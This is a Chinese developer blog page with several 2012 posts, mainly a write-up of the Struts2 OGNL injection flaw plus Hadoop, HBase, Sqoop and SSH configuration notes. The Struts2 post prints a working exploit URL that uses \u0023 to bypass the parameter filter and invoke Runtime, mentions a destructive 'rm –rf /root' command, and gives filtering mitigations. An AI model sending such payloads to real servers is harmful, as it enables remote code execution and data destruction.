posts - 110, comments - 101, trackbacks - 0, articles - 7
            BlogJava :: 首頁 :: 新隨筆 :: 聯系 :: 聚合  :: 管理

          Struts2的核心是使用的webwork框架,處理 action時通過調用底層的getter/setter方法來處理http的參數,它將每個http參數聲明為一個ONGL(這里是ONGL的介紹)語句。當我們提交一個http參數:
          Java代碼  
          1. ?user.address.city=Bishkek&user['favoriteDrink']=kumys  

          ONGL將它轉換為:
          Java代碼  
          1. action.getUser().getAddress().setCity("Bishkek")   
          2. action.getUser().setFavoriteDrink("kumys")  

          這是通過ParametersInterceptor(參數過濾器)來執行的,使用用戶提供的HTTP參數調用 ValueStack.setValue()。
          為了防范篡改服務器端對象,XWork的ParametersInterceptor不允許參數名中出現“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻擊者就可以繞過保護,修改保護Java方式執行的值:
          此處代碼有破壞性,請在測試環境執行,嚴禁用此種方法進行惡意攻擊
          Java代碼  
          1. ?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1  

          轉義后是這樣:
          Java代碼  
          1. ?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1  

          OGNL處理時最終的結果就是
          Java代碼  
          1. java.lang.Runtime.getRuntime().exit(1);  

          類似的可以執行
          Java代碼  
          1. java.lang.Runtime.getRuntime().exec("rm –rf /root")  
          ,只要有權限就可以刪除任何一個目錄。
          目前嘗試了3個解決方案:

          1.升級到struts2.2版本。
          這個可以避免這個問題,但是struts開發團隊沒有release這個版本(包括最新的2.2.1版本都沒有release),經我測試發現新版本雖然解決了上述的漏洞,但是新的問題是strus標簽出問題了。
          Java代碼  
          1. <s:bean id="UserUtil" name="cn.com.my_corner.util.UserUtil"></s:bean>   
          2. <s:property value="#UserUtil.getType().get(cType.toString())" />  

          這樣的標簽在struts2.0中是可以使用的,但是新版中就不解析了,原因就是“#”的問題導致的,補了漏洞,正常的使用也用不了了。
          所以sebug網站上的建議升級到2.2版本是不可行的。

          2.struts參數過濾。
          Java代碼  
          1. <interceptor-ref name="params">   
          2. <param name="excludeParams">.*\\u0023.*</param>   
          3. </interceptor-ref>  

          這個可以解決漏洞問題,缺點是工作量大,每個項目都得改struts配置文件。如果項目里,是引用的一個類似global.xml的配置文件,工作量相應減少一些。

          3.在前端請求進行過濾。
          比如在ngnix,apache進行攔截,參數中帶有\u0023的一律視為攻擊,跳轉到404頁面或者別的什么頁面。這樣做的一個前提就是沒人把#號轉碼后作為參數傳遞。
          請求如果是get方式,可以進行過濾,如果是post方式就過濾不到了,所以還是應該修改配置文件或更新新的jar包。

          目前來看后兩種是比較有效的方法,采用第三種方法比較簡便。是否有另外的解決辦法,歡迎大家討論。

          我并沒有在windows環境下測試,有同學在windows下沒有試驗成功,這并不能說明windows下就沒有風險可能是我們的參數或者什么地方有問題而已。既然漏洞的確存在,咱們就要重視對吧。歡迎大家測試,是否windows下漏洞不能執行成功。

          posted @ 2012-07-11 13:26 云云 閱讀(4333) | 評論 (1)編輯 收藏

          中午去熱飯的時候 一童鞋提到了這個參數。
          飯后回來查了一下這個參數,在hdfs-default.xml中
          找到了這個參數,發現默認是false。
          <property>
            <name>dfs.support.append</name>
            <value>false</value>
            <description>Does HDFS allow appends to files?
                         This is currently set to false because there are bugs in the
                         "append code" and is not supported in any prodction cluster.
            </description>
          </property>

          我用的版本是1.0.1,順便看了下1.0.2 也是一樣沒有更改,默認是false。
          那么為什么呢。其實看一下description就知道了這個不支持集群中使用。
          如果同時多個程序在操作同一份文件,就會引起文件的沖突。
          那這個參數用在什么場景的呢?
          在做mapreduce的過程中,hadoop framwork會產生很多的臨時數據,
          在reduce出結果后 把內容輸出到指定的目錄,
          那么在mapreduce的過程中,我們需要把部分內容存儲到hdfs中怎么辦呢。
          這時候可以開發人員可以使用FileSystem來把文件存儲到hdfs中。
          這時候就會使用到dfs.support.append參數了。








          posted @ 2012-07-09 11:25 云云 閱讀(3268) | 評論 (0)編輯 收藏

          在運行了一段時間hadoop集群后,機器重啟了一次。
          然后啟動hadoop,再jps沒有看到namenode 和datanode的pid
          很不解,于是再重啟,卻又報4900端口存在 需要停止。
          這下有意思了。無奈之下 使用netsat -nap | grep 4900來查看是否存在
          果然存在,再用命令lsof -i:49000 找出4900端口號的進程id。再用kill -9 來殺死。

          問題是解決了,可不能每次這樣啊,后來發現hadoop默認的pid是存在
          linux下的/tmp目錄下的。每一個pid 使用文件像hadoop-hadoop-jobtracker.pid
          這樣的文件名存放起來的。可以cat一下 看看內容。

          linux重啟的時候 會把tmp目錄中的內容刪除,同時crontab 也會在一定時間后刪除
          tmp目錄下的文件。索性,hadoop可以設置pid的存放位置。
          在hadoop-env.sh中,默認是關閉了的。刪除 # export HADOOP_PID_DIR=/var/hadoop/pids 前面的#
          把路徑設置成你想要的路徑。
          同樣的hbase也是一樣的,最好改一下。
          到這里讓我想起了hbase曾經報過一個錯誤 找不到hbase.version
          在tmp目錄也有這個文件,我想重啟機器后 hbase找不到這個文件也與這個目錄有關。




          posted @ 2012-07-06 11:41 云云 閱讀(1794) | 評論 (0)編輯 收藏

          Java代碼  
          1. <pre id="content-586097673" mb10">一 相對路徑的獲得   
          2. 說明:相對路徑(即不寫明時候到底相對誰)均可通過以下方式獲得(不論是一般的java項目還是web項目)   
          3. String relativelyPath=System.getProperty("user.dir"); 上述相對路徑中,java項目中的文件是相對于項目的根目錄 web項目中的文件路徑視不同的web服務器不同而不同(tomcat是相對于 tomcat安裝目錄/bin)  

            
          Java代碼
          1. 二 類加載目錄的獲得(即當運行時某一類時獲得其裝載目錄) 1.1)通用的方法一(不論是一般的java項目還是web項目,先定位到能看到包路徑的第一級目錄) InputStream is=TestAction.class.getClassLoader().getResourceAsStream("test.txt"); (test.txt文件的路徑為 項目名/src/test.txt;類TestAction所在包的第一級目錄位于src目錄下) 上式中將TestAction,test.txt替換成對應成相應的類名和文件名字即可 1.2)通用方法二 (此方法和1.1中的方法類似,不同的是此方法必須以'/'開頭) InputStream is=Test1.class.getResourceAsStream("/test.txt"); (test.txt文件的路徑為 項目名/src/test.txt,類Test1所在包的第一級目錄位于src目錄下)  

            
          Java代碼  
          1. 三 web項目根目錄的獲得(發布之后) 1 從servlet出發 可建立一個servlet在其的init方法中寫入如下語句 ServletContext s1=this.getServletContext(); String temp=s1.getRealPath("/"); (關鍵) 結果形如:D:/工具/Tomcat-6.0/webapps/002_ext/ (002_ext為項目名字) 如果是調用了s1.getRealPath("")則輸出D:/工具/Tomcat-6.0/webapps/002_ext(少了一個"/")   
          2.    2 從httpServletRequest出發 String cp11111=request.getSession().getServletContext().getRealPath("/"); 結果形如:D:/工具/Tomcat-6.0/webapps/002_ext/  

            
          Java代碼  
          1. 四 classpath的獲取(在Eclipse中為獲得src或者classes目錄的路徑) 方法一 Thread.currentThread().getContextClassLoader().getResource("").getPath() eg: String t=Thread.currentThread().getContextClassLoader().getResource("").getPath(); System.out.println("t---"+t); 輸出:t---/E:/order/002_ext/WebRoot/WEB-INF/classes/  

             
          Java代碼  
          1. 方法二 JdomParse.class.getClassLoader().getResource("").getPath() (JdomParse為src某一個包中的類,下同) eg:String p1=JdomParse.class.getClassLoader().getResource("").getPath(); System.out.println("JdomParse.class.getClassLoader().getResource--"+p1); 輸出: JdomParse.class.getClassLoader().getResource--/E:/order/002_ext/WebRoot/WEB-INF/classes/  

             
          Java代碼  
          1. 另外,如果想把文件放在某一包中,則可以 通過以下方式獲得到文件(先定位到該包的最后一級目錄) eg String p2=JdomParse.class.getResource("").getPath(); System.out.println("JdomParse.class.getResource---"+p2); 輸出: JdomParse.class.getResource---/E:/order/002_ext/WebRoot/WEB-INF/classes/jdom/ (JdomParse為src目錄下jdom包中的類) 四 屬性文件的讀取: 方法 一 InputStream in = lnew BufferedInputStream( new FileInputStream(name)); Properties p = new Properties(); p.load(in);  

             
          Java代碼  
          1. 注意路徑的問題,做執行之后就可以調用p.getProperty("name")得到對應屬性的值 方法二 Locale locale = Locale.getDefault(); ResourceBundle localResource = ResourceBundle.getBundle("test/propertiesTest", locale); String value = localResource.getString("test"); System.out.println("ResourceBundle: " + value); 工程src目錄下propertiesTest.properties(名字后綴必須為properties)文件內容如下: test=hello word   

          posted @ 2012-07-03 16:05 云云 閱讀(26723) | 評論 (0)編輯 收藏

               摘要: 在項目中經常會遇到文件加載并解析的問題加載Properties文件很簡單 可以直接使用Properties提供的方法就可以了如果是加載xml文件可以使用 MyTest.class.getClass().getClassLoader().getResourceAsStream(fileName); Code highlighting produced by Actipro CodeHighlig...  閱讀全文

          posted @ 2012-07-02 14:00 云云 閱讀(1487) | 評論 (0)編輯 收藏

          在HBase中 一個row對應的相同的列只會有一行。使用scan 或get 得到都是最新的數據
          如果我們對這某一row所對應的列進行了更改操作后,并不會多生成一條數據,不會像RDBMS一樣
          insert時多生成一條記錄,在HBase中對同一條數據的修改或插入 都只是put操作,最終看到的都是
          最新的數據,其它的數據在不同的version中保存,就像隱藏的東西一樣

          那么如何才能看到這些隱藏version的值呢

                      Get get = new Get(startRow);
                      get.setMaxVersions();
                      Result result = table.get(get);
                       List<KeyValue> list = result.list();
                        for(final KeyValue v:list){
                            logger.info("value: "+ v+ " str: "+Bytes.toString(v.getValue()));
                        }
          加入setMaxVersions()方法就可以把所有的版本都取出來了
                     


          posted @ 2012-06-27 13:37 云云 閱讀(5565) | 評論 (0)編輯 收藏

          我在\bin\catalina.bat,這個文件在最開頭加上下面這段就ok了
          if ""%1"" == ""stop"" goto skip_config

          SET CATALINA_OPTS=-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8787

          :skip_config


          posted @ 2012-06-10 18:01 云云 閱讀(1155) | 評論 (0)編輯 收藏

          最近使用sqoop把數據從oracle導入到hbase 遇到各種問題 耗了很多時間
          遇到的異常在網上也沒找到過先例 可能有朋友也遇到了這樣的問題
          整理一下 留在這里 歡迎拍磚 看到的朋友 如果有更好的方法 可以回復 一起學習
          使用sqoop 導mysql的數據時 一切順利很方便 
          導oracle的時候 問題就來了
          --query命令: 使用這個命令的時候 需要注意的是 where后面的參數,$CONDITIONS 這個參數必須加上
          而且存在單引號與雙引號的區別,如果--query后面使用的是雙引號 那么需要在$CONDITIONS\ \$CONDITIONS

          ./sqoop import --connect jdbc:oracle:thin:@192.168.8.130:1521:dcshdev --username User_data2 --password yhdtest123qa --query "select * from so_ext t where \$CONDITIONS " -m 4 --hbase-create-table --hbase-table hso --column-family so --hbase-row-key id --split-by id

          如果使用--columns指令來指定字段 也出現了問題
          因為在一行中寫太多命令是不可能的,--columns 如果字段太多在命令中寫也不方便
          所以使用shell腳本要方便的多
          那么在腳本中換行使用 \  來換行

          有個問題就是 使用--columns 指定的字段大小寫要注意 得使用小寫。
          如果使用大寫 導數據不會有異常 會成功的,hbase中表也會創建好,但是scan的時候 你會發現沒有數據 這個蛋疼吧
          --columns id,order_id,order_code
          而且每個字段之間用逗號分隔,但是不能有空格,在sqoop中沒有處理空格,如果在這個命令后的參數有空格的話
          就不能和oracle表中的字段對應上了 結果雖然沒有錯誤能夠顯示成功導入多了條數據,但是scan的時候 會是0條數據

          關于導mysql和oracle的時候 還有個區別:
          導mysql表的數據時 不需要指定太多的命令就可以成功導入,但是oracle就需要很多命令 ,如--split-by 這個切分參數
          在導mysql的時候 就不需要 ,但是如果在導oracle的時候 不加上就會出錯了 不信你試試





          posted @ 2012-05-28 17:05 云云 閱讀(9337) | 評論 (4)編輯 收藏

          最近工作中用到hadoop集群
          由于剛開始使用 會出很多問題 經常會得啟會刪除日志會改配置
          但是刪除日志 是一件很麻煩的事  集群節點越多 刪除日志 越累
          索性寫一個腳本來刪除日志
          通過ssh到各個節點  使用這個腳本前提是已經配置ssh無密碼登錄

          dir=$1
          case $1 in
          hadoop)
           echo "will delete hadoop cluster logs ...."
           rm -rf /usr/hadoop/hadoop-1.0.1/logs/*
           echo "delete hadoop master logs done "
           

           for slave in $(cat /usr/hadoop/hadoop-1.0.1/conf/slaves);do
             echo "delete $slave hadoop logs"
             ssh $slave "rm -rf /usr/hadoop/hadoop-1.0.1/logs/*"
           done
           echo "delete hadoop cluster logs done ..."
           ;;

          hbase)
            echo "will delete hbase cluster logs ...."
            rm -rf /usr/hadoop/hbase-0.92.1/logs/*
            echo "delete master hbase logs...."

            for hslave in $(cat /usr/hadoop/hbase-0.92.1/conf/regionservers);do
              echo "delete $hslave hbase logs "
              ssh $hslave "rm -rf /usr/hadoop/hbase-0.92.1/logs/*"
            done
            echo "delete hbase cluster logs done ...."
            ;;

          *)
            echo "usage params : {hadoop|hbase} "

          esac

           



          posted @ 2012-05-25 12:26 云云 閱讀(811) | 評論 (0)編輯 收藏

          之所以要把這個記錄下來
          是因為它的確和root用戶不一樣
          root用戶 不需要改動什么權限問題  只要生成私鑰/公鑰對 即可

          但是一樣的操作在普通用戶上就出了問題了
          折騰了老半天

          ssh-keygen -t rsa

          一路回車 就好

          然后會生成幾個文件
          id_rsa
          id_rsa.pub
          known_hosts

          然后執行

          cat id_rsa.pub >> authorized_keys

          如果是root用戶  做完這一步 就可以了 就可以使用ssh slave01 或 ip 登錄了
          但是 郁悶的是 同樣的操作 到了普通用戶上就不行了

          網上找了很多辦法 什么修改sshd_config之類的 試過都沒用
          其實最終還是權限問題  什么都配置文件都不用改 只需要賦一下權限就ok
          默認生成的文件authorized_keys權限:
          -rw-rw-r-- 1 hadoop hadoop  395 05-16 17:59 authorized_keys
          默認生成的.ssh權限是可以


          下面一個個的賦權限
          首先是給.ssh目錄賦一個權限  
          1 chmod 700 /usr/hadoop/.ssh

          2 chmod 600 authorized_keys
          3 chmod 600 id_rsa
          這下就可以ssh slave01了 
          還是不行的話 就仔細檢查一下權限

          -rw------- 1 hadoop hadoop  396 05-16 05:10 authorized_keys
          -rw------- 1 hadoop hadoop 1675 05-16 05:10 id_rsa
          -rwxrwxrwx 1 hadoop hadoop  396 05-16 05:10 id_rsa.pub
          -rwxrwxrwx 1 hadoop hadoop  402 05-16 05:10 known_hosts

           .ssh目錄權限:
          drwx------  2 hadoop hadoop 4096 05-16 05:10 .ssh
















          posted @ 2012-05-16 17:59 云云 閱讀(10271) | 評論 (0)編輯 收藏

          僅列出標題
          共12頁: 上一頁 1 2 3 4 5 6 7 8 9 下一頁 Last 
          主站蜘蛛池模板: 共和县| 新丰县| 克山县| 阳新县| 华阴市| 萍乡市| 宁南县| 汾西县| 剑河县| 时尚| 梨树县| 津市市| 屯昌县| 若羌县| 外汇| 定州市| 喀喇沁旗| 松江区| 金坛市| 宜阳县| 洪泽县| 江源县| 保定市| 曲水县| 衡阳市| 商河县| 门头沟区| 榆中县| 莒南县| 曲周县| 孟村| 沐川县| 东丽区| 眉山市| 吉安市| 武汉市| 临沧市| 凤山市| 固始县| 筠连县| 乐山市|